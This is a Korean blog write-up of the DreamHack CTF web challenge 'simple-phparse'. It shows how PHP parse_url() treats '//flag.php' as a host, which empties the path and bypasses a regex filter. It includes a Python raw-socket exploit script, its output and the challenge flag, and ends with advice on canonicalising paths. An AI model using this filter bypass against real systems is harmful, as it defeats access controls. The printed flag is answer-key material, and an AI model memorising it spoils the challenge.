[๐Ÿฅ‰ Bronze 3] ์Šฌ๋ž˜์‹œ ํ•˜๋‚˜๋กœ ์—ด๋ฆฌ๋Š” flag.php โ€” DreamHack simple-phparse ํ’€์ด

2026-07-12ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅ‰ Bronze 3] ์Šฌ๋ž˜์‹œ ํ•˜๋‚˜๋กœ ์—ด๋ฆฌ๋Š” flag.php โ€” DreamHack simple-phparse ํ’€์ด

flag.php ๋Š” parse_url() ๋กœ ๋ฝ‘์€ ๊ฒฝ๋กœ๋ฅผ preg_match("/flag.php/i", $path) ๋กœ ๊ฒ€์‚ฌํ•ด ์ง์ ‘ ์ ‘๊ทผ์„ ๋ง‰๋Š”๋‹ค. ์š”์ฒญ ๊ฒฝ๋กœ ์•ž์— ์Šฌ๋ž˜์‹œ๋ฅผ ํ•˜๋‚˜ ๋” ๋ถ™์ด๋ฉด parse_url ์ด flag.php ๋ฅผ ํ˜ธ์ŠคํŠธ๋กœ ํ•ด์„ํ•˜๊ณ  path ๋Š” ๋นˆ ๋ฌธ์ž์—ด์ด ๋œ๋‹ค. ํ•„ํ„ฐ๊ฐ€ ๋ณด๋Š” ๊ฐ’์ด ์‚ฌ๋ผ์ง€๋ฏ€๋กœ ๊ทธ๋Œ€๋กœ ํ†ต๊ณผํ•ด flag ๊ฐ€ ๋…ธ์ถœ๋œ๋‹ค.

๋ฌธ์ œ: DreamHack โ€” simple-phparse ๋ถ„๋ฅ˜: Web ๋‚œ์ด๋„: ๐Ÿฅ‰ Bronze 3 FLAG: DH{0DB34CA258F33CDC4928EC7EAD7FAD468D2DD255805FF183927A7A15772745FB}

์ ‘์†ํ•˜๋ฉด ์š”์ฒญ URL์„ ํŒŒ์‹ฑํ•ด์„œ host / path / query๋ฅผ ๊ทธ๋Œ€๋กœ ํ™”๋ฉด์— ๋ฟŒ๋ ค์ฃผ๋Š” ํŽ˜์ด์ง€๊ฐ€ ๋œฌ๋‹ค. ์ด๋ฆ„ ๊ทธ๋Œ€๋กœ "PHParse".

๋ฉ”์ธ ํŽ˜์ด์ง€ โ€” ์š”์ฒญ URL์˜ host/path/query๋ฅผ ๊ทธ๋Œ€๋กœ echoํ•œ๋‹ค
๋ฉ”์ธ ํŽ˜์ด์ง€ โ€” ์š”์ฒญ URL์˜ host/path/query๋ฅผ ๊ทธ๋Œ€๋กœ echoํ•œ๋‹ค

flag.php๋ผ๋Š” ์ด๋ฆ„์ด ์†Œ์Šค์— ๋Œ€๋†“๊ณ  ๋“ฑ์žฅํ•˜๋Š”๋ฐ, ์ •์ž‘ ๊ทธ ๊ฒฝ๋กœ๋กœ ์ ‘๊ทผํ•˜๋ฉด ์ฐจ๋‹จ๋‹นํ•œ๋‹ค. ์ฐจ๋‹จ ๋กœ์ง์ด parse_url() ์œ„์— ์„œ ์žˆ๋‹ค๋Š” ๊ฒŒ ์ด ๋ฌธ์ œ์˜ ์ „๋ถ€๋‹ค.


๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…simple-phparse
๋‚œ์ด๋„๐Ÿฅ‰ Bronze 3
๋ถ„๋ฅ˜Web (PHP)
์ œ๊ณต ํŒŒ์ผ / ์„œ๋ฒ„index.php ์†Œ์Šค + ๋ผ์ด๋ธŒ ์„œ๋ฒ„
์Šคํƒnginx + PHP
ํ•ต์‹ฌ ์ทจ์•ฝ์ parse_url() ์˜ // ์ ‘๋‘ ํ•ด์„ ์ฐจ์ด๋กœ path ํ•„ํ„ฐ ์šฐํšŒ

ํ’€์ด ํ๋ฆ„์€ ์งง๋‹ค. ์†Œ์Šค๋ฅผ ๋ณด๋ฉด ๊ฒฝ๋กœ ํ•„ํ„ฐ๊ฐ€ parse_url() ์˜ ๋ฐ˜ํ™˜๊ฐ’์— ๊ฑธ๋ ค ์žˆ๋‹ค. ๊ทธ ํ•จ์ˆ˜๊ฐ€ ์–ด๋–ค ์ž…๋ ฅ์—์„œ ์–ด๋–ป๊ฒŒ ๊ฐˆ๋ผ์ง€๋Š”์ง€ ๋ผ์ด๋ธŒ๋กœ ์ฐ”๋Ÿฌ๋ณด๊ณ , ํ•„ํ„ฐ๊ฐ€ ๊ฒ€์‚ฌํ•˜๋Š” $path ๋ฅผ ๋น„์›Œ๋ฒ„๋ฆฌ๋Š” ์ž…๋ ฅ์„ ์ฐพ์œผ๋ฉด ๋๋‚œ๋‹ค.



๐Ÿงฉ ๋ฐฐ๊ฒฝ โ€” parse_url() ์ด URL์„ ์ž๋ฅด๋Š” ๊ทœ์น™

PHP์˜ parse_url() ์€ ๋ฌธ์ž์—ด ํ•˜๋‚˜๋ฅผ ๋ฐ›์•„ schemeยทhostยทportยทpathยทquery ๊ฐ™์€ ๊ตฌ์„ฑ์š”์†Œ๋กœ ์ชผ๊ฐ ๋‹ค. ๋‘ ๋ฒˆ์งธ ์ธ์ž๋กœ PHP_URL_HOST, PHP_URL_PATH ๋“ฑ์„ ์ฃผ๋ฉด ํ•ด๋‹น ๋ถ€๋ถ„๋งŒ ๋ฝ‘์•„ ๋Œ๋ ค์ค€๋‹ค.

$url  = $_SERVER['REQUEST_URI'];   // ์˜ˆ: "/foo/bar?q=1"
$host = parse_url($url, PHP_URL_HOST);
$path = parse_url($url, PHP_URL_PATH);
$query= parse_url($url, PHP_URL_QUERY);

์—ฌ๊ธฐ์„œ ๋†“์น˜๊ธฐ ์‰ฌ์šด ๊ทœ์น™์ด ํ•˜๋‚˜ ์žˆ๋‹ค. ๋ฌธ์ž์—ด์ด // ๋กœ ์‹œ์ž‘ํ•˜๋ฉด parse_url ์€ ๊ทธ ๋’ค๋ฅผ authority(host[:port]) ๋กœ ๋ณธ๋‹ค. scheme://host/path ์—์„œ scheme๋งŒ ๋น ์ง„ ํ˜•ํƒœ(//host/path)๋กœ ์ฝ๋Š” ๊ฒƒ์ด๋‹ค.

  • /flag.php โ†’ path๋Š” /flag.php, host๋Š” ์—†์Œ
  • //flag.php โ†’ host๊ฐ€ flag.php, path๋Š” ๋น„์–ด ์žˆ์Œ

์ฆ‰ ์Šฌ๋ž˜์‹œ ํ•œ ๊ฐœ ์ฐจ์ด๋กœ ๊ฐ™์€ ๋ฌธ์ž์—ด์ด "๊ฒฝ๋กœ"๊ฐ€ ๋˜๊ธฐ๋„ ํ•˜๊ณ  "ํ˜ธ์ŠคํŠธ"๊ฐ€ ๋˜๊ธฐ๋„ ํ•œ๋‹ค. ์ด ๋ฌธ์ œ์˜ ํ•„ํ„ฐ๊ฐ€ ๋ณด๋Š” ๊ฐ’์ด ๋ฐ”๋กœ ๊ทธ ๊ฒฝ๋กœ๋‹ค.


๐Ÿ”ฌ ์ฝ”๋“œ ์ •์ฐฐ โ€” ํ•„ํ„ฐ๊ฐ€ ๋ณด๋Š” ๊ฐ’์€ $path ํ•˜๋‚˜

์ œ๊ณต๋œ index.php ๋Š” ์งง๋‹ค.

$url = $_SERVER['REQUEST_URI'];
$host = parse_url($url, PHP_URL_HOST);
$path = parse_url($url, PHP_URL_PATH);
$query = parse_url($url, PHP_URL_QUERY);
echo "host: $host / path: $path / query: $query";
 
if (preg_match("/flag.php/i", $path)) {
    echo "NO....";
} else {
    echo "Cannot access flag.php: $path";
}

์ฐจ๋‹จ ์กฐ๊ฑด์€ preg_match("/flag.php/i", $path) ํ•˜๋‚˜๋‹ค. ๊ฒ€์‚ฌ ๋Œ€์ƒ์€ host๋„ query๋„ ์•„๋‹Œ $path ๋ฟ์ด๋‹ค. ๊ทธ๋Ÿฌ๋‹ˆ ๋ชฉํ‘œ๋Š” ๋‹จ์ˆœํ•ด์ง„๋‹ค โ€” flag.php ๋กœ ์ ‘๊ทผํ•˜๋ฉด์„œ $path ์•ˆ์—๋Š” ๊ทธ ๋ฌธ์ž์—ด์ด ๋‚จ์ง€ ์•Š๊ฒŒ ๋งŒ๋“ค๋ฉด ๋œ๋‹ค.

๋ฌด์—‡์„ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๋‚˜ โ€” ์ง์ ‘ ์ฐ”๋Ÿฌ๋ณด๊ธฐ

์ด ํŽ˜์ด์ง€๋Š” ์นœ์ ˆํ•˜๊ฒŒ๋„ ํŒŒ์‹ฑ ๊ฒฐ๊ณผ๋ฅผ ๊ทธ๋Œ€๋กœ ํ™”๋ฉด์— ๋ฟŒ๋ฆฐ๋‹ค. ๊ตณ์ด ๋กœ์ปฌ์— PHP๋ฅผ ๊น” ํ•„์š” ์—†์ด ์„œ๋ฒ„์— ์—ฌ๋Ÿฌ URL์„ ๋ณด๋‚ด๋ณด๋ฉฐ parse_url ์˜ ์‹ค์ œ ๋™์ž‘์„ ๋ˆˆ์œผ๋กœ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

๋จผ์ € ํ‰๋ฒ”ํ•œ ๊ฒฝ๋กœ. /foo/bar?q=test ๋ฅผ ๋ณด๋‚ด๋ฉด path์™€ query๊ฐ€ ๊ธฐ๋Œ€๋Œ€๋กœ ๊ฐˆ๋ผ์ง„๋‹ค.

์ผ๋ฐ˜ ๊ฒฝ๋กœ โ€” path=/foo/bar, query=q=test ๋กœ ์ •์ƒ ๋ถ„๋ฆฌ
์ผ๋ฐ˜ ๊ฒฝ๋กœ โ€” path=/foo/bar, query=q=test ๋กœ ์ •์ƒ ๋ถ„๋ฆฌ

์ด๋ฒˆ์—” ์•ž์— ์Šฌ๋ž˜์‹œ๋ฅผ ํ•˜๋‚˜ ๋” ๋ถ™์—ฌ //dreamhack.io/secret?q=1 ์„ ๋ณด๋‚ธ๋‹ค. ๊ฒฐ๊ณผ๊ฐ€ ํ™• ๋‹ฌ๋ผ์ง„๋‹ค.

// ์ ‘๋‘ โ€” host=dreamhack.io, path=/secret ๋กœ ์•ž๋ถ€๋ถ„์ด ํ˜ธ์ŠคํŠธ๊ฐ€ ๋œ๋‹ค
// ์ ‘๋‘ โ€” host=dreamhack.io, path=/secret ๋กœ ์•ž๋ถ€๋ถ„์ด ํ˜ธ์ŠคํŠธ๊ฐ€ ๋œ๋‹ค

host: dreamhack.io, path: /secret. ์Šฌ๋ž˜์‹œ ๋‘ ๊ฐœ ๋’ค์˜ dreamhack.io ๊ฐ€ ํ˜ธ์ŠคํŠธ๋กœ ๋นจ๋ ค ๋“ค์–ด๊ฐ”๋‹ค. ๋ฐฐ๊ฒฝ์—์„œ ์„ค๋ช…ํ•œ ๊ทœ์น™์ด ์„œ๋ฒ„์—์„œ ๊ทธ๋Œ€๋กœ ์žฌํ˜„๋œ๋‹ค. ์—ฌ๊ธฐ๊นŒ์ง€ ์˜ค๋ฉด ๋‹ต์ด ๋ณด์ธ๋‹ค โ€” flag.php ๋ฅผ ์ € ํ˜ธ์ŠคํŠธ ์ž๋ฆฌ์— ๋ฐ€์–ด ๋„ฃ์œผ๋ฉด ๋œ๋‹ค.


๐Ÿ› ์‚ฝ์งˆ โ€” ์ˆœ์ง„ํ•˜๊ฒŒ /flag.php

๋‹น์—ฐํžˆ ์ฒ˜์Œ์—” ๊ทธ๋ƒฅ /flag.php ๋กœ ๋“ค์–ด๊ฐ€ ๋ณธ๋‹ค.

โ–ถ๐Ÿ› ์‚ฝ์งˆ โ€” /flag.php ์ง์ ‘ ์ ‘๊ทผ์€ ํ•„ํ„ฐ์— ๊ฑธ๋ฆฐ๋‹ค
GET /flag.php
/flag.php ์ง์ ‘ ์ ‘๊ทผ โ€” NO... ๋กœ ์ฐจ๋‹จ
/flag.php ์ง์ ‘ ์ ‘๊ทผ โ€” NO... ๋กœ ์ฐจ๋‹จ

flag.php ๋„ index์™€ ๋˜‘๊ฐ™์ด parse_url + preg_match ํ•„ํ„ฐ๋ฅผ ์–น๊ณ  ์žˆ๋‹ค. /flag.php ๋Š” path๊ฐ€ /flag.php ๊ทธ๋Œ€๋กœ๋ผ preg_match("/flag.php/i", $path) ์— ์ •ํ™•ํžˆ ๊ฑธ๋ฆฐ๋‹ค. ํ™”๋ฉด์—๋Š” flag ๋Œ€์‹  NO... ๋งŒ ๋‚จ๋Š”๋‹ค. ๋Œ€์†Œ๋ฌธ์ž๋ฅผ ๋ฐ”๊ฟ”๋„ ์ •๊ทœ์‹์— /i ๊ฐ€ ๋ถ™์–ด ์žˆ์–ด ์†Œ์šฉ์—†๋‹ค.

ํ•„ํ„ฐ๊ฐ€ ๊ฒฝ๋กœ ๋ฌธ์ž์—ด์„ ์ง์ ‘ ์žก์•„๋‚ด๋‹ˆ, ๊ฒฝ๋กœ์—์„œ flag.php ๋ฅผ ๋นผ๋Œ๋ ค์•ผ ํ•œ๋‹ค. ์ •์ฐฐ์—์„œ ๋ณธ // ๊ทœ์น™์ด ๋ฐ”๋กœ ๊ทธ ์ˆ˜๋‹จ์ด๋‹ค.



๐Ÿ’ฃ ํ•ต์‹ฌ โ€” ์Šฌ๋ž˜์‹œ ํ•˜๋‚˜๋กœ path ๋น„์šฐ๊ธฐ

//flag.php ๋ฅผ ์š”์ฒญํ•˜๋ฉด parse_url ์€ flag.php ๋ฅผ ํ˜ธ์ŠคํŠธ๋กœ ์ฝ๊ณ  path๋Š” ๋นˆ ๋ฌธ์ž์—ด์„ ๋Œ๋ ค์ค€๋‹ค. ํ•„ํ„ฐ๊ฐ€ ๊ฒ€์‚ฌํ•˜๋Š” $path ๊ฐ€ ๋น„์–ด ์žˆ์œผ๋‹ˆ preg_match ๋Š” ์•„๋ฌด๊ฒƒ๋„ ๋งค์นญํ•˜์ง€ ๋ชปํ•˜๊ณ , ์ฝ”๋“œ๋Š” else ๋ถ„๊ธฐ๋กœ ํ˜๋Ÿฌ flag๋ฅผ ๋ฑ‰๋Š”๋‹ค.

parse_url path ๋ถ„ํ•ด โ€” /flag.php๋Š” ํ•„ํ„ฐ์— ๊ฑธ๋ฆฌ๊ณ  //flag.php๋Š” path๊ฐ€ ๋น„์–ด ํ†ต๊ณผ
parse_url path ๋ถ„ํ•ด โ€” /flag.php๋Š” ํ•„ํ„ฐ์— ๊ฑธ๋ฆฌ๊ณ  //flag.php๋Š” path๊ฐ€ ๋น„์–ด ํ†ต๊ณผ

๋ง๋กœ๋งŒ ํ•˜๋ฉด ๋ฏธ๋ฅ์ง€ ์•Š์œผ๋‹ˆ PHP parse_url ์„ ์ง์ ‘ ๋Œ๋ ค ํ™•์ธํ•œ๋‹ค. ์•„๋ž˜๋Š” ๋„ค ๊ฐ€์ง€ ์ž…๋ ฅ์„ ๋„ฃ๊ณ  host / path / ํ•„ํ„ฐ ๊ฒฐ๊ณผ๋ฅผ ํ‘œ๋กœ ์ฐ๋Š” ์Šคํฌ๋ฆฝํŠธ๋‹ค.

<?php
// parse_demo.php โ€” parse_url์ด REQUEST_URI๋ฅผ ์–ด๋–ป๊ฒŒ ์ชผ๊ฐœ๋Š”์ง€ ํ™•์ธ
$cases = ["/flag.php", "//flag.php", "/index.php?a=1", "////flag.php"];
printf("%-14s | %-10s | %-10s | %s\n", "REQUEST_URI", "host", "path", "preg /flag.php/i on path");
foreach ($cases as $u) {
    $host = parse_url($u, PHP_URL_HOST);
    $path = parse_url($u, PHP_URL_PATH);
    $hit  = preg_match("/flag.php/i", (string)$path) ? "MATCH โ†’NO..." : "no match โ†’ํ†ต๊ณผ";
    printf("%-14s | %-10s | %-10s | %s\n", $u, var_export($host,true), var_export($path,true), $hit);
}
php parse_url ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” //flag.php๋Š” host=flag.php, path=NULL
php parse_url ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” //flag.php๋Š” host=flag.php, path=NULL

/flag.php ๋งŒ path์— /flag.php ๋ฅผ ๋‚จ๊ฒจ MATCH๋กœ ๊ฑธ๋ฆฌ๊ณ , ๋‚˜๋จธ์ง€ ์…‹์€ ์ „๋ถ€ ํ†ต๊ณผ๋‹ค. //flag.php ๋Š” host๊ฐ€ flag.php, path๋Š” NULL. ////flag.php ์ฒ˜๋Ÿผ ์Šฌ๋ž˜์‹œ๋ฅผ ๋” ๋Š˜๋ฆฌ๋ฉด ํŒŒ์‹ฑ ์ž์ฒด๊ฐ€ ์‹คํŒจํ•ด hostยทpath๊ฐ€ ๋ชจ๋‘ false ๊ฐ€ ๋˜๋Š”๋ฐ, ์ด ์—ญ์‹œ ํ•„ํ„ฐ๋ฅผ ํ†ต๊ณผํ•œ๋‹ค. ์šฐ๋ฆฌ๊ฐ€ ์“ธ ๊ฑด ๊ฐ€์žฅ ๊น”๋”ํ•œ //flag.php ๋‹ค.


๐ŸŽฏ ์ต์Šคํ”Œ๋กœ์ž‡ โ€” //flag.php

๋ธŒ๋ผ์šฐ์ € ์ฃผ์†Œ์ฐฝ์— http://<host>:<port>//flag.php ๋ฅผ ๊ทธ๋Œ€๋กœ ์น˜๋ฉด ๋œ๋‹ค. Chromium์€ ๊ฒฝ๋กœ์˜ ์ด์ค‘ ์Šฌ๋ž˜์‹œ๋ฅผ ์ •๊ทœํ™”ํ•˜์ง€ ์•Š๊ณ  GET //flag.php ๋กœ ๋ณด๋‚ธ๋‹ค.

//flag.php ์š”์ฒญ โ€” PATH๊ฐ€ ๋น„์–ด ์žˆ๊ณ  flag๊ฐ€ ๋…ธ์ถœ๋œ๋‹ค
//flag.php ์š”์ฒญ โ€” PATH๊ฐ€ ๋น„์–ด ์žˆ๊ณ  flag๊ฐ€ ๋…ธ์ถœ๋œ๋‹ค

ํ™”๋ฉด ํ•˜๋‹จ์˜ PATH: ๊ฐ€ ํ…… ๋น„์–ด ์žˆ๋Š” ๊ฒŒ ์šฐํšŒ์˜ ์ฆ๊ฑฐ๋‹ค. path๊ฐ€ ๋นˆ ๋ฌธ์ž์—ด์ด๋ผ ํ•„ํ„ฐ๊ฐ€ ๊ฑธ๋ฆฌ์ง€ ์•Š์•˜๊ณ , ๊ทธ ์•„๋ž˜์— flag๊ฐ€ ๊ทธ๋Œ€๋กœ ์ฐํ˜”๋‹ค.

ํ•œ ๊ฐ€์ง€ ์ฃผ์˜์ . requests ๋‚˜ urllib ๊ฐ™์€ HTTP ํด๋ผ์ด์–ธํŠธ๋Š” ์š”์ฒญ ๋ผ์ธ์„ ์ •๊ทœํ™”ํ•˜๋ฉด์„œ // ๋ฅผ / ๋กœ ์ ‘์–ด๋ฒ„๋ฆด ์ˆ˜ ์žˆ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด ์„œ๋ฒ„์—” /flag.php ๊ฐ€ ๋„์ฐฉํ•ด ๋‹ค์‹œ ์ฐจ๋‹จ๋œ๋‹ค. ๊ทธ๋ž˜์„œ ์ต์Šคํ”Œ๋กœ์ž‡์€ ์š”์ฒญ ๋ผ์ธ์„ ์†๋Œ€์ง€ ์•Š๋Š” ๋ฐฉ์‹์ด์–ด์•ผ ํ•œ๋‹ค โ€” raw ์†Œ์ผ“์œผ๋กœ ์ง์ ‘ ์“ฐ๊ฑฐ๋‚˜, curl --path-as-is ๋ฅผ ์“ด๋‹ค.


๐Ÿš€ Full Exploit

raw ์†Œ์ผ“์œผ๋กœ ์š”์ฒญ ๋ผ์ธ์„ ๊ทธ๋Œ€๋กœ ์‹ค์–ด ๋ณด๋‚ด๋Š” ์ž์ฒด ์™„๊ฒฐ ์Šคํฌ๋ฆฝํŠธ๋‹ค. ์ˆœ์ง„ํ•œ /flag.php ์™€ ์šฐํšŒ //flag.php ๋ฅผ ๋‚˜๋ž€ํžˆ ๋ณด๋‚ด ์ฐจ์ด๋ฅผ ๋ณด์—ฌ์ฃผ๊ณ , ์‘๋‹ต์—์„œ flag๋ฅผ ๋ฝ‘๋Š”๋‹ค.

#!/usr/bin/env python3
# simple-phparse ์ž์ฒด์™„๊ฒฐ ์ต์Šคํ”Œ๋กœ์ž‡
import socket, re
 
HOST, PORT = "host3.dreamhack.games", 15122
 
def fetch(target):
    req = (f"GET {target} HTTP/1.1\r\n"
           f"Host: {HOST}\r\nConnection: close\r\n\r\n")
    s = socket.create_connection((HOST, PORT), timeout=10)
    s.sendall(req.encode())
    buf = b""
    while True:
        chunk = s.recv(4096)
        if not chunk: break
        buf += chunk
    s.close()
    return buf.decode(errors="replace")
 
def signal(html):
    if "NO..." in html: return "์ฐจ๋‹จ๋จ: NO..."
    m = re.search(r"flag is (DH\{[^}]+\})", html)
    return f"flag ๋…ธ์ถœ: {m.group(1)}" if m else "(์•Œ ์ˆ˜ ์—†๋Š” ์‘๋‹ต)"
 
print("[1] GET /flag.php  โ†’", signal(fetch("/flag.php")))
resp = fetch("//flag.php")
print("[2] GET //flag.php โ†’", signal(resp))
flag = re.search(r"DH\{[0-9A-Fa-f]+\}", resp)
print("[+] FLAG =", flag.group(0) if flag else "not found")
solve.py ์‹คํ–‰ โ€” /flag.php๋Š” ์ฐจ๋‹จ, //flag.php์—์„œ flag ํšŒ์ˆ˜
solve.py ์‹คํ–‰ โ€” /flag.php๋Š” ์ฐจ๋‹จ, //flag.php์—์„œ flag ํšŒ์ˆ˜

/flag.php ๋Š” ์˜ˆ์ƒ๋Œ€๋กœ NO... ๋กœ ๋ง‰ํžˆ๊ณ , //flag.php ์—์„œ flag๊ฐ€ ๊ทธ๋Œ€๋กœ ๋–จ์–ด์ง„๋‹ค.

[1] GET /flag.php  โ†’ ์ฐจ๋‹จ๋จ: NO...
[2] GET //flag.php โ†’ flag ๋…ธ์ถœ: DH{0DB34CA258F33CDC4928EC7EAD7FAD468D2DD255805FF183927A7A15772745FB}
[+] FLAG = DH{0DB34CA258F33CDC4928EC7EAD7FAD468D2DD255805FF183927A7A15772745FB}


๐Ÿ“ ๊ฒฐ๋ก 

ํ•„ํ„ฐ์˜ ์ž…๋ ฅ๊ณผ ์‹ค์ œ ๋™์ž‘์˜ ์ž…๋ ฅ์ด ๋‹ค๋ฅด๋ฉด ์šฐํšŒ๋Š” ์‹œ๊ฐ„๋ฌธ์ œ๋‹ค.

์ด ๋ฌธ์ œ์˜ ๋ฐฉ์–ด๋Š” "์š”์ฒญ ๊ฒฝ๋กœ์— flag.php ๊ฐ€ ์žˆ์œผ๋ฉด ๋ง‰๋Š”๋‹ค"์˜€๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ๊ทธ ๊ฒฝ๋กœ๋ฅผ ๋ฝ‘๋Š” parse_url() ์€ ๊ฐ™์€ ๋ฌธ์ž์—ด์„ ์Šฌ๋ž˜์‹œ ๊ฐœ์ˆ˜์— ๋”ฐ๋ผ ๋‹ค๋ฅด๊ฒŒ ํ•ด์„ํ•œ๋‹ค. ํ•„ํ„ฐ๊ฐ€ ๋ณด๋Š” $path ์™€ ์‚ฌ๋žŒ์ด ์ƒ๊ฐํ•˜๋Š” "์š”์ฒญํ•œ ํŒŒ์ผ"์ด ์–ด๊ธ‹๋‚˜๋Š” ์ˆœ๊ฐ„, ๊ฒ€์‚ฌ ์ž์ฒด๊ฐ€ ๋ฌด์˜๋ฏธํ•ด์ง„๋‹ค.

๊ฒฝ๋กœ ๊ธฐ๋ฐ˜ ์ ‘๊ทผ ์ œ์–ด๋Š” ์• ์ดˆ์— ์ทจ์•ฝํ•˜๋‹ค.

ํŒŒ์ผ์„ ์ˆจ๊ธฐ๊ณ  ์‹ถ๋‹ค๋ฉด ์ด๋ฆ„์„ ๋ฌธ์ž์—ด๋กœ ํ•„ํ„ฐ๋งํ•  ๊ฒŒ ์•„๋‹ˆ๋ผ, ์›น ๋ฃจํŠธ ๋ฐ–์— ๋‘๊ฑฐ๋‚˜ ์„œ๋ฒ„ ์„ค์ •(์ธ์ฆยทIP ์ œํ•œ)์œผ๋กœ ๋ง‰์•„์•ผ ํ•œ๋‹ค. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋ ˆ๋ฒจ์—์„œ URL ๋ฌธ์ž์—ด์„ ์ •๊ทœ์‹์œผ๋กœ ๊ฑธ๋Ÿฌ ์ ‘๊ทผ์„ ํ†ต์ œํ•˜๋ ค๋Š” ์‹œ๋„๋Š” ํŒŒ์„œ์˜ ์‚ฌ์†Œํ•œ ํ•ด์„ ์ฐจ์ด ํ•˜๋‚˜์— ๋ฌด๋„ˆ์ง„๋‹ค.

์ •๊ทœํ™”๋Š” ๊ฒ€์‚ฌ๋ณด๋‹ค ๋จผ์ €.

๊ตณ์ด ๋ฌธ์ž์—ด๋กœ ๊ฑธ๋Ÿฌ์•ผ ํ•œ๋‹ค๋ฉด, ๊ฒ€์‚ฌ ์ „์— ๊ฒฝ๋กœ๋ฅผ ํ•œ ๋ฒˆ ์ •๊ทœํ™”(canonicalize)ํ•ด์„œ //ยท/./ยท%2e ๊ฐ™์€ ํ‘œํ˜„์„ ํ•˜๋‚˜๋กœ ์ ‘์€ ๋’ค ๋น„๊ตํ•ด์•ผ ํ•œ๋‹ค. ํŒŒ์„œ๊ฐ€ ๋‚ด๋†“๋Š” ์—ฌ๋Ÿฌ ํ‘œํ˜„์„ ๊ทธ๋Œ€๋กœ ์‹ ๋ขฐํ•˜๋ฉด, ์ด๋ฒˆ์ฒ˜๋Ÿผ ์Šฌ๋ž˜์‹œ ํ•˜๋‚˜์— ํ†ต์งธ๋กœ ๋šซ๋ฆฐ๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅ‰ Bronze 4] PHP ์ •๊ทœ์‹ 3๊ฒน ๋šซ๊ธฐ โ€” preg_replace ๊ฒน์นจยท์•ŒํŒŒ๋ฒณ ์—†๋Š” ๋น„๋ฒˆยทflag ํ•„ํ„ฐ ์šฐํšŒ RCE โ€” DreamHack phpreg ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 4] PHP ์ •๊ทœ์‹ 3๊ฒน ๋šซ๊ธฐ โ€” preg_replace ๊ฒน์นจยท์•ŒํŒŒ๋ฒณ ์—†๋Š” ๋น„๋ฒˆยทflag ํ•„ํ„ฐ ์šฐํšŒ RCE โ€” DreamHack phpreg ํ’€์ด

PHP์˜ preg_replaceยทpreg_match๋กœ ๋งŒ๋“  ๊ด€๋ฌธ ์„ธ ๊ฐœ๋ฅผ ์ฐจ๋ก€๋กœ ๋šซ๋Š” ๋ฌธ์ œ๋‹ค. ๋‹‰๋„ค์ž„์€ 'nyang'์„ ๊ฒน์น˜๊ฒŒ ๋ผ์›Œ ํ•œ ๋ฒˆ๋งŒ ์ง€์›Œ์ง€๊ฒŒ ๋งŒ๋“ค๊ณ , ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” ์•ŒํŒŒ๋ฒณ ์—†์ด ์น˜ํ™˜ ํŒจํ„ด์„ ๋งž์ถ”๊ณ , ๋งˆ์ง€๋ง‰ cmd๋Š” 'flag' ํ•„ํ„ฐ๋ฅผ ์™€์ผ๋“œ์นด๋“œ๋กœ ์šฐํšŒํ•ด RCE๋กœ flag.txt๋ฅผ ์ฝ์—ˆ๋‹ค.
#dreamhack#ctf#web+5
2026-06-22#dreamhack +5
[๐Ÿฅ‰ Bronze 3] base64 ๋ธ”๋ก์„ ๋ฐ˜์นธ ๋ฐ€์–ด ํ•„ํ„ฐ๋ฅผ ๋น ์ ธ๋‚˜๊ฐ€๋‹ค โ€” DreamHack Base64 based ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 3] base64 ๋ธ”๋ก์„ ๋ฐ˜์นธ ๋ฐ€์–ด ํ•„ํ„ฐ๋ฅผ ๋น ์ ธ๋‚˜๊ฐ€๋‹ค โ€” DreamHack Base64 based ํ’€์ด

ํŒŒ์ผ๋ช…์„ base64๋กœ ๋ฐ›์•„ includeํ•˜๋Š” PHP ์•ฑ์ธ๋ฐ, ์ธ์ฝ”๋”ฉ๋œ ๋ฌธ์ž์—ด์— flagยทhpยท../์˜ base64 ์กฐ๊ฐ์ด ์žˆ์œผ๋ฉด ๋ง‰๋Š”๋‹ค. flag.php์˜ ์ •์งํ•œ base64๋Š” ๊ทธ ์กฐ๊ฐ์„ ๊ทธ๋Œ€๋กœ ํ’ˆ๋Š”๋‹ค. ์•ž์— ./๋ฅผ ๋ถ™์—ฌ 3๋ฐ”์ดํŠธ ๋ธ”๋ก ์ •๋ ฌ์„ ๋ฐ˜์นธ ๋ฐ€๋ฉด ์กฐ๊ฐ์ด ์ชผ๊ฐœ์ ธ ํ•„ํ„ฐ๊ฐ€ ํ†ต์งธ๋กœ ํ—›๋ˆ๋‹ค.
#dreamhack#ctf#web+5
2026-07-12#dreamhack +5
[๐Ÿฅ‰ Bronze 2] PHP ๋А์Šจํ•œ ๋น„๊ต๋กœ ๋กœ๊ทธ์ธ ์šฐํšŒ โ€” DreamHack Type c-j ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 2] PHP ๋А์Šจํ•œ ๋น„๊ต๋กœ ๋กœ๊ทธ์ธ ์šฐํšŒ โ€” DreamHack Type c-j ํ’€์ด

